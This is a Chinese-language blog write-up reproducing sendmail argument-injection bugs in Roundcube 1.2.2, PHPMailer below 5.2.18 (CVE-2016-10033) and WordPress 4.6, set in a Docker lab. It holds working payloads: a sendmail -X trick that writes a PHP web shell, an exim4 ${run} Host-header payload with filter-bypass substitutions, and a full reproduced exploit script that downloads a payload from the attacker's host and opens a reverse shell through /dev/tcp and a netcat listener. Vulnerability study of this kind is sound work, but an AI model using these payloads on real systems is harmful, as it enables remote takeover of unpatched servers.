WordPress 4.6 Command Execution Vulnerability(CVE-2016-10033) Analysis
0x01 前言
因为去参加比赛,已经有一个月没有写文章了,中间玩了段时间,现在把心收回来了,坚持每周一洞的习惯。废话不多说,下面是复现PHPMailer的详细过程,一步一步来理解这个漏洞的原理。
0x02 Roundcube 1.2.2 远程命令执行漏洞分析
1.触发漏洞需满足前提
- Roundcube 使用 PHP 的 mail 来发送邮件,而不通过其他 SMTP Server
- PHP 的 mail 使用 sendmail 来发送邮件(默认)
- PHP 的 safe_mode 是关闭的(默认)
- 攻击者需要知道 Web 应用的绝对路径
- 攻击者可以登录到 Roundcube 并可以发送邮件
- 成功攻击后攻击者可远程执行任意代码。
2.代码分析
具体可以在下面的参考的文章链接详细阅读,我直接抽文件program/lib/Roundcube/rcube.php第1524-1678行:
$from参数进入mail()函数处理,通过使用-f参数获取from来传递给sendmail。
public function deliver_message(&$message, $from, $mailto, &$error, &$body_file = null, $options = null){
// send thru SMTP server using custom SMTP library if ($this->config->get('smtp_server')) { ... } // send mail using PHP's mail() function else { ... if (filter_var(ini_get('safe_mode'), FILTER_VALIDATE_BOOLEAN)) $sent = mail($to, $subject, $msg_body, $header_str); else $sent = mail($to, $subject, $msg_body, $header_str, "-f$from"); } } ...}有趣的部分是from参数在此之前经过了正则过滤。正常来说,$from参数内是不可以使用空格,不然可能导致在-f之后添加其他的参数。
使用$IFS或者`符号都不能绕过。但是,中间有一个逻辑流程可以导致过滤失败。
program/steps/mail/sendmail.inc
104 else if ($from_string = rcmail_email_input_format($from)) {105 if (preg_match(‘/(S+@S+)/‘, $from_string, $m))106 $from = trim($m1, ‘<>‘);107 else108 $from = null;109 }在105行,用户可以控制的$from参数过滤之后传递给email,但是这个过滤仅仅在rcmail_email_input_format()为TRUE的时候才会有效。
下面我们来看看如何绕过:
program/steps/mail/sendmail.inc
function rcmail_email_input_format($mailto, $count=false, $check=true){ global $RCMAIL, $EMAIL_FORMAT_ERROR, $RECIPIENT_COUNT; // simplified email regexp, supporting quoted local part $email_regexp = ‘(S+|(”[^“]+”))@S+‘; ⋮ // replace new lines and strip ending ‘, ‘, make address input more valid $mailto = trim(preg_replace($regexp, $replace, $mailto)); $items = rcube_utils::explode_quoted_string($delim, $mailto); $result = array(); foreach ($items as $item) { $item = trim($item); // address in brackets without name (do nothing)863 if (preg_match(‘/^<‘.$email_regexp.‘>$/’, $item)) { $item = rcube_utils::idn_to_ascii(trim($item, ‘<>‘)); $result[] = $item; } ⋮ else if (trim($item)) { continue; } ⋮ } if ($count) { $RECIPIENT_COUNT += count($result); } return implode(‘, ‘, $result);}rcmail_email_input_format这个函数在863行使用另外一个正则表达式,在匹配email的时候,行末匹配符$已经决定了要匹配的内容。
攻击者的payload不必匹配这个正则,然后在foreach循环之后$result参数仍然是空。在这种情况下,876行的implode()函数会返回一个空的字符串(这样整个函数就会返回FALSE),于是绕过了过滤。
3.构造POC
sendmail有一个-X参数,该参数将邮件流量记录在指定文件中,当使用Roundcube发送email的时候,截断HTTP请求,修改_from字段:
example@example.com -OQueueDirectory=/tmp -X/var/www/html/rce.php
上述代码会导致攻击者在网站根目录下生成一个rce.php文件,里面的内容就是_subject的值 <?php phpinfo(); ?>。请求完成之后,如下的内容就会写入到文件里面:
04731 >>> Recipient names must be specified04731 <<< To: squinty@localhost04731 <<< Subject: <?php phpinfo(); ?>04731 <<< X-PHP-Originating-Script: 1000:rcube.php04731 <<< MIME-Version: 1.004731 <<< Content-Type: text/plain; charset=US-ASCII;04731 <<< format=flowed04731 <<< Content-Transfer-Encoding: 7bit04731 <<< Date: So, 20 Nov 2016 04:02:52 +010004731 <<< From: example@example.com -OQueueDirectory=/tmp04731 <<< -X/var/www/html/rce.php04731 <<< Message-ID: <390a0c6379024872a7f0310cdea24900@localhost>04731 <<< X-Sender: example@example.com -OQueueDirectory=/tmp04731 <<< -X/var/www/html/rce.php04731 <<< User-Agent: Roundcube Webmail/1.2.204731 <<<04731 <<< Funny e-mail message04731 <<< [EOF]email的数据解码之后,传递的subject参数会解码为纯文本,然后PHP就会执行其中包含PHP标签的代码。(上面的文本就解析,类似LFI的日志包含)
0x03 PHPMailer < 5.2.18 远程代码执行(CVE-2016-10033)漏洞分析
分析了上面的Roundcube的远程命令执行对漏洞有一定的了解了,PHPMailer就是用PHP里面的mail,PHP的mail函数是用系统的sendmail命令来执行的。
这个实验的环境也是可以从文章底部的参考链接里面有详细的搭建教程,在class.phpmailer.php的setFrom函数。
public function setFrom($address, $name = '', $auto = true){ $address = trim($address); $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim // Don't validate now addresses with IDN. Will be done in send(). if (($pos = strrpos($address, '@')) === false or (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and !$this->validateAddress($address)) { ... } ... if ($auto) { if (empty($this->Sender)) { $this->Sender = $address; } } return true; }setFrom用于设置发信方,正常情况下都是可控的。下面我们看过滤函数validateAddress(这个过滤在preSend函数中还会进行一次):
public static function validateAddress($address, $patternselect = null){ ... if (!$patternselect or $patternselect == 'auto') { //Check this constant first so it works when extension_loaded() is disabled by safe mode //Constant was added in PHP 5.2.4 if (defined('PCRE_VERSION')) { //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2 if (version_compare(PCRE_VERSION, '8.0.3') >= 0) { $patternselect = 'pcre8'; } else { $patternselect = 'pcre'; } } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) { //Fall back to older PCRE $patternselect = 'pcre'; } else { //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension if (version_compare(PHP_VERSION, '5.2.0') >= 0) { $patternselect = 'php'; } else { $patternselect = 'noregex'; } } } switch ($patternselect) { case 'pcre8': /** * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains. * @link http://squiloople.com/2009/12/20/email-address-validation/ * @copyright 2009-2010 Michael Rushton * Feel free to use and redistribute this code. But please keep this copyright notice. */ return (boolean)preg_match( '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' . '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' . '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' . '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' . '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' . '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' . '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' . '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' . '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD', $address ); case 'pcre': //An older regex that doesn't need a recent PCRE return (boolean)preg_match( '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' . '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' . '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' . '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' . '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' . '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' . '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' . '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' . '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' . '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD', $address ); case 'html5': /** * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements. * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email) */ return (boolean)preg_match( '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' . '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD', $address ); case 'noregex': //No PCRE! Do something _very_ approximate! //Check the address is 3 chars or longer and contains an @ that's not the first or last char return (strlen($address) >= 3 and strpos($address, '@') >= 1 and strpos($address, '@') != strlen($address) - 1); case 'php': default: return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL); } }其他的地方我就不分析了,只分析上面这个函数,这个函数有这个特点
- 默认patternselect==‘auto’,它会自动选择一个方式对email进行检测
- 如果php支持正则PCRE(也就是包含preg_replace函数),就用正则的方式来检查,就是那一大串很难读懂的正则
- 如果php不支持PCRE,且PHP版本大于PHP5.2.0,就是用PHP自带的filter来检查email
- 如果php不支持PCRE,且PHP版本低于PHP5.2.0,就直接检查email中是否包含@
所以,根据现在的分析(注意,不是最终分析),如果想绕过这个email的检查,目标PHP环境必须有以下两个条件:
- PHP版本小于5.2.0
- PHP不支持正则表达式,即没有安装PCRE扩展(默认是安装的)
这个时候该函数会使用noregex的方式,即只需满足三个条件即可通过过滤:
- 输入长度大于 3
- 含有@
- @不是最后一个字符 这三个条件很容易满足,所以在这种情况下漏洞是很容易触发的,已经有研究人员开发了相应的 PoC :https://github.com/opsxcq/exploit-CVE-2016-10033
但是满足这个情况的主机现在已经很少了,正常情况下都是使用pcre8的正则来进行过滤,所以如果要扩大攻击面需要对正则进行绕过,并且还得让 sendmail 成功执行。
幸运的是,已经有其他研究人员写好了 payload :
https://ghostbin.com/paste/s64ng
"<?system($_GET['pew']);?>". -OQueueDirectory=/tmp/. -X./images/zwned.php @swehack.org
这里使用.%20(点+空格)来作为分隔符,经小伙伴测试发现,.%09(点+Tab)也是可以绕过的。
P神给出的绕过方法为:
aaa( -X/home/www/success.php -OQueueDirectory=/tmp )@qq.com
0x04 WordPress <= 4.6 命令执行漏洞
漏洞信息
WordPress 是一种使用 PHP 语言开发的博客平台,用户可以在支持 PHP 和 MySQL 数据库的服务器上架设属于自己的网站。也可以把 WordPress 当作一个内容管理系统(CMS)来使用。WordPress 使用 PHPMailer 组件向用户发送邮件。PHPMailer(版本 < 5.2.18)存在远程命令执行漏洞,攻击者只需巧妙地构造出一个恶意邮箱地址,即可写入任意文件,造成远程命令执行的危害。
影响版本
WordPress <= 4.6
镜像信息
| 类型 | 用户名 | 密码 |
|---|---|---|
| Mysql | root | root |
| /wp-admin/ | admin | admin123 |
获取环境:
1.拉取镜像到本地
$ docker pull medicean/vulapps:w_wordpress_6
2.启动环境
$ docker run -d -p 8000:80 medicean/vulapps:w_wordpress_6
-p 8000:80 前面的 8000 代表物理机的端口,可随意指定。
访问 http://127.0.0.1:8000 看到 WordPress 主界面代表启动成功
漏洞分析
漏洞页面:/wp-login.php?action=lostpassword
漏洞文件是class.phpmailer.php,我们在wordpress中搜索查看这个文件,该文件在在wp-includes目录下。

我们可以发现几行关键代码,我们发现,实际上phpmailer组件是调用linux系统命令sendmail进行邮件发送,命令格式为:sendmail -t -i -fusername@hostname。

并且我们继续审计代码发现,serverHostname函数通过传入的SERVER_NAME参数来获取主机名,该主机名即HTTP请求报文中的host值,但是SERVER_NAME参数并没有经过任何过滤,因此我们可以进行任意构造拼接,从而产生了系统命令注入漏洞。
在上面的PHPMailer的漏洞讲述过了,sendmail提供了-O和-X参数,-X参数用于写入日志文件, 我们可以使用-OQueueDirectory=/tmp/ -X/tmp/smtp.php命令组合,它会将发送的邮件保存到/tmp/smtp.php中,但是在WordPress中就不能这样做了,因为wordpress方面以及PHPMailer库方面都会防止攻击者注入空字符(空格或TAB)到sendmail命令中。并且,添加括号引入向sendmail中注入参数的方法已经行不通了。
比如我们想要调用/bin/touch的时候也会出问题,因为host字段中如果出现/,服务器会拒绝我们的请求。
为什么sendmail能够产生命令注入漏洞呢?我们去了解一下sendmail。然后就会发现柳暗花明又一村了。我们可以知道ubuntu/debain系统中,已经使用exim4替代了sendmail的功能,我们查看sendmail文件可以发现它是一个链向exim4的软链接文件。
那么我们可以利用exim4的语法参数进行命令执行参数的拼接啊!我们查看exim4的帮助手册,可以发现-be参数可以用。
简单来说,-be参数是一个字符串拓展测试命令,它可以读取一些变量的数据。比如,$tod_log,它可以显示系统时间。
并且,exim4提供了一些函数用来执行一些命令,如字符串截取函数substr、$run系统调用函数。
我们可以截取空格字符。如图所示,substr函数从第十个字符开始截取,共截取一个字符,也就是时间字符串的第11个字符,是空格字符。那么同理,我们也可以截取/字符串:
显示系统时间和劫持空格:
sendmail -be '$tod_log'sendmail -be '${substr{10}{1}{$tod_log}}'截取/字符串:
sendmail -be '${substr{0}{1}{$spool_directory}}'使用$run函数调用系统命令:
sendmail -be '${run{/usr/bin/id}}'
构造payload
由上面我们可以得知:
空格 ==> ${substr{10}{1}{$tod_log}}
/ ==> ${substr{0}{1}{$spool_directory}}构造payload如下,该payload在/tmp/目录下创建test.txt文件:
aa(any -froot@localhost -be ${run{/bin/touch /tmp/test.txt}} null)然后用上面的转换得出:
aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test.txt}} null)我们去密码重置页面输入重置用户名为admin,提交之后拦截请求,并把host的值修改为我们的payload:

在Docker里面的环境,是一定相对独立的,所以执行这个命令不会在系统的tmp目录下生成:

POC
自动化提交payload,获取反弹shell。通过python -mSimpleHTTPServer 80建立web服务,用于目标下载shell。运行是需要用管理员权限,因为监听了80端口。
使用方法
sudo ./wordpress-rce-exploit.sh http://172.16.176.128:8000
#!/bin/bash## __ __ __ __ __# / / ___ ____ _____ _/ / / / / /___ ______/ /_____ __________# / / / _ \/ __ `/ __ `/ / / /_/ / __ `/ ___/ //_/ _ \/ ___/ ___/# / /___/ __/ /_/ / /_/ / / / __ / /_/ / /__/ ,< / __/ / (__ )# /_____/\___/\__, /\__,_/_/ /_/ /_/\__,_/\___/_/|_|\___/_/ /____/# /____/### WordPress 4.6 - Remote Code Execution (RCE) PoC Exploit# CVE-2016-10033## wordpress-rce-exploit.sh (ver. 1.0)### Discovered and coded by## Dawid Golunski (@dawid_golunski)# https://legalhackers.com## ExploitBox project:# https://ExploitBox.io## Full advisory URL:# https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html## Exploit src URL:# https://exploitbox.io/exploit/wordpress-rce-exploit.sh### Tested on WordPress 4.6:# https://github.com/WordPress/WordPress/archive/4.6.zip## Usage:# ./wordpress-rce-exploit.sh target-wordpress-url### Disclaimer:# For testing purposes only### -----------------------------------------------------------------## Interested in vulns/exploitation?### .;lc'# .,cdkkOOOko;.# .,lxxkkkkOOOO000Ol'# .':oxxxxxkkkkOOOO0000KK0x:'# .;ldxxxxxxxxkxl,.'lk0000KKKXXXKd;.# ':oxxxxxxxxxxo;. .:oOKKKXXXNNNNOl.# '';ldxxxxxdc,. ,oOXXXNNNXd;,.# .ddc;,,:c;. ,c: .cxxc:;:ox:# .dxxxxo, ., ,kMMM0:. ., .lxxxxx:# .dxxxxxc lW. oMMMMMMMK d0 .xxxxxx:# .dxxxxxc .0k.,KWMMMWNo :X: .xxxxxx:# .dxxxxxc .xN0xxxxxxxkXK, .xxxxxx:# .dxxxxxc lddOMMMMWd0MMMMKddd. .xxxxxx:# .dxxxxxc .cNMMMN.oMMMMx' .xxxxxx:# .dxxxxxc lKo;dNMN.oMM0;:Ok. 'xxxxxx:# .dxxxxxc ;Mc .lx.:o, Kl 'xxxxxx:# .dxxxxxdl;. ., .. .;cdxxxxxx:# .dxxxxxxxxxdc,. 'cdkkxxxxxxxx:# .':oxxxxxxxxxdl;. .;lxkkkkkxxxxdc,.# .;ldxxxxxxxxxdc, .cxkkkkkkkkkxd:.# .':oxxxxxxxxx.ckkkkkkkkxl,.# .,cdxxxxx.ckkkkkxc.# .':odx.ckxl,.# .,.'.## https://ExploitBox.io## https://twitter.com/Exploit_Box## -----------------------------------------------------------------
rev_host="172.16.176.1"
function prep_host_header() { cmd="$1" rce_cmd="\${run{$cmd}}";
# replace / with ${substr{0}{1}{$spool_directory}} #sed 's^/^${substr{0}{1}{$spool_directory}}^g' rce_cmd="`echo $rce_cmd | sed 's^/^\${substr{0}{1}{\$spool_directory}}^g'`"
# replace ' ' (space) with #sed 's^ ^${substr{10}{1}{$tod_log}}$^g' rce_cmd="`echo $rce_cmd | sed 's^ ^\${substr{10}{1}{\$tod_log}}^g'`" #return "target(any -froot@localhost -be $rce_cmd null)" host_header="target(any -froot@localhost -be $rce_cmd null)" return 0}
#cat exploitbox.ansintro="DQobWzBtIBtbMjFDG1sxOzM0bSAgICAuO2xjJw0KG1swbSAbWzIxQxtbMTszNG0uLGNka2tPT09rbzsuDQobWzBtICAgX19fX19fXxtbOEMbWzE7MzRtLiwgG1swbV9fX19fX19fG1s1Q19fX19fX19fG1s2Q19fX19fX18NCiAgIFwgIF9fXy9fIF9fX18gG1sxOzM0bScbWzBtX19fXBtbNkMvX19fX19cG1s2Q19fX19fX19cXyAgIF8vXw0KICAgLyAgXy8gICBcXCAgIFwvICAgLyAgIF9fLxtbNUMvLyAgIHwgIFxfX19fXy8vG1s3Q1wNCiAgL19fX19fX19fXz4+G1s2QzwgX18vICAvICAgIC8tXCBfX19fIC8bWzVDXCBfX19fX19fLw0KIBtbMTFDPF9fXy9cX19fPiAgICAvX19fX19fX18vICAgIC9fX19fX19fPg0KIBtbNkMbWzE7MzRtLmRkYzssLDpjOy4bWzlDG1swbSxjOhtbOUMbWzM0bS5jeHhjOjs6b3g6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eG8sG1s1QxtbMG0uLCAgICxrTU1NMDouICAuLBtbNUMbWzM0bS5seHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s1QxtbMG1sVy4gb01NTU1NTU1LICBkMBtbNUMbWzM0bS54eHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s1QxtbMG0uMGsuLEtXTU1NV05vIDpYOhtbNUMbWzM0bS54eHh4eHg6DQobWzM3bSAbWzZDLhtbMTszNG1keHh4eHhjG1s2QxtbMG0ueE4weHh4eHh4eGtYSywbWzZDG1szNG0ueHh4eHh4Og0KG1szN20gG1s2Qy4bWzE7MzRtZHh4eHh4YyAgICAbWzBtbGRkT01NTU1XZDBNTU1NS2RkZC4gICAbWzM0bS54eHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s2QxtbMG0uY05NTU1OLm9NTU1NeCcbWzZDG1szNG0ueHh4eHh4Og0KG1szN20gG1s2QxtbMTszNG0uZHh4eHh4YxtbNUMbWzBtbEtvO2ROTU4ub01NMDs6T2suICAgIBtbMzRtJ3h4eHh4eDoNChtbMzdtIBtbNkMbWzE7MzRtLmR4eHh4eGMgICAgG1swbTtNYyAgIC5seC46bywgICAgS2wgICAgG1szNG0neHh4eHh4Og0KG1szN20gG1s2QxtbMTszNG0uZHh4eHh4ZGw7LiAuLBtbMTVDG1swOzM0bS4uIC47Y2R4eHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eCAbWzBtX19fX19fX18bWzEwQ19fX18gIF9fX19fIBtbMzRteHh4eHg6DQobWzM3bSAbWzdDG1sxOzM0bS4nOm94IBtbMG1cG1s2Qy9fIF9fX19fX19fXCAgIFwvICAgIC8gG1szNG14eGMsLg0KG1szN20gG1sxMUMbWzE7MzRtLiAbWzBtLxtbNUMvICBcXBtbOEM+G1s3QzwgIBtbMzRteCwNChtbMzdtIBtbMTJDLxtbMTBDLyAgIHwgICAvICAgL1wgICAgXA0KIBtbMTJDXF9fX19fX19fXzxfX19fX19fPF9fX18+IFxfX19fPg0KIBtbMjFDG1sxOzM0bS4nOm9keC4bWzA7MzRtY2t4bCwuDQobWzM3bSAbWzI1QxtbMTszNG0uLC4bWzA7MzRtJy4NChtbMzdtIA0K"intro2="ICAgICAgICAgICAgICAgICAgIBtbNDRtfCBFeHBsb2l0Qm94LmlvIHwbWzBtCgobWzk0bSsgLS09fBtbMG0gG1s5MW1Xb3JkcHJlc3MgQ29yZSAtIFVuYXV0aGVudGljYXRlZCBSQ0UgRXhwbG9pdBtbMG0gIBtbOTRtfBtbMG0KG1s5NG0rIC0tPXwbWzBtICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAbWzk0bXwbWzBtChtbOTRtKyAtLT18G1swbSAgICAgICAgICBEaXNjb3ZlcmVkICYgQ29kZWQgQnkgICAgICAgICAgICAgICAgG1s5NG18G1swbQobWzk0bSsgLS09fBtbMG0gICAgICAgICAgICAgICAbWzk0bURhd2lkIEdvbHVuc2tpG1swbSAgICAgICAgICAgICAgICAgIBtbOTRtfBtbMG0gChtbOTRtKyAtLT18G1swbSAgICAgICAgIBtbOTRtaHR0cHM6Ly9sZWdhbGhhY2tlcnMuY29tG1swbSAgICAgICAgICAgICAgG1s5NG18G1swbSAKG1s5NG0rIC0tPXwbWzBtICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAbWzk0bXwbWzBtChtbOTRtKyAtLT18G1swbSAiV2l0aCBHcmVhdCBQb3dlciBDb21lcyBHcmVhdCBSZXNwb25zaWJpbGl0eSIgG1s5NG18G1swbSAKG1s5NG0rIC0tPXwbWzBtICAgICAgICAqIEZvciB0ZXN0aW5nIHB1cnBvc2VzIG9ubHkgKiAgICAgICAgICAbWzk0bXwbWzBtIAoKCg=="echo "$intro" | base64 -decho "$intro2" | base64 -d
if [ "$#" -ne 1 ]; thenecho -e "Usage:\n$0 target-wordpress-url\n"exit 1fitarget="$1"echo -ne "\e[91m[*]\033[0m"read -p " Sure you want to get a shell on the target '$target' ? [y/N] " choiceecho
if [ "$choice" == "y" ]; then
echo -e "\e[92m[*]\033[0m Guess I can't argue with that... Let's get started...\n"echo -e "\e[92m[+]\033[0m Connected to the target"
# Serve payload/bash script on :80RCE_exec_cmd="(sleep 3s && nohup bash -i >/dev/tcp/$rev_host/1337 0<&1 2>&1) &"echo "$RCE_exec_cmd" > rce.txtpython -mSimpleHTTPServer 80 2>/dev/null >&2 &hpid=$!
# Save payload on the target in /tmp/rcecmd="/usr/bin/curl -o/tmp/rce $rev_host/rce.txt"prep_host_header "$cmd"curl -H"Host: $host_header" -s -d 'user_login=admin&wp-submit=Get+New+Password' $target/wp-login.php?action=lostpasswordecho -e "\n\e[92m[+]\e[0m Payload sent successfully"
# Execute payload (RCE_exec_cmd) on the target /bin/bash /tmp/rcecmd="/bin/bash /tmp/rce"prep_host_header "$cmd"curl -H"Host: $host_header" -d 'user_login=admin&wp-submit=Get+New+Password' $target/wp-login.php?action=lostpassword &echo -e "\n\e[92m[+]\033[0m Payload executed!"
echo -e "\n\e[92m[*]\033[0m Waiting for the target to send us a \e[94mreverse shell\e[0m...\n"nc -nvv -l -p 1337echoelseecho -e "\e[92m[+]\033[0m Responsible choice ;) Exiting.\n"exit 0
fi
echo "Exiting..."exit 00x05 结尾
文章有些内容是copy的,不想造轮子了,只要理解和实践成功就行了,不必浪费那些时间,有空我想写一个针对于这个漏洞的一些转换的Python工具,最近学到Python的GUI编程,想用来实践一下。
0x06 参考
http://bobao.360.cn/news/detail/4146.html
https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html
http://vulapps.evalbug.com/w_wordpress_6/ 漏洞Docker环境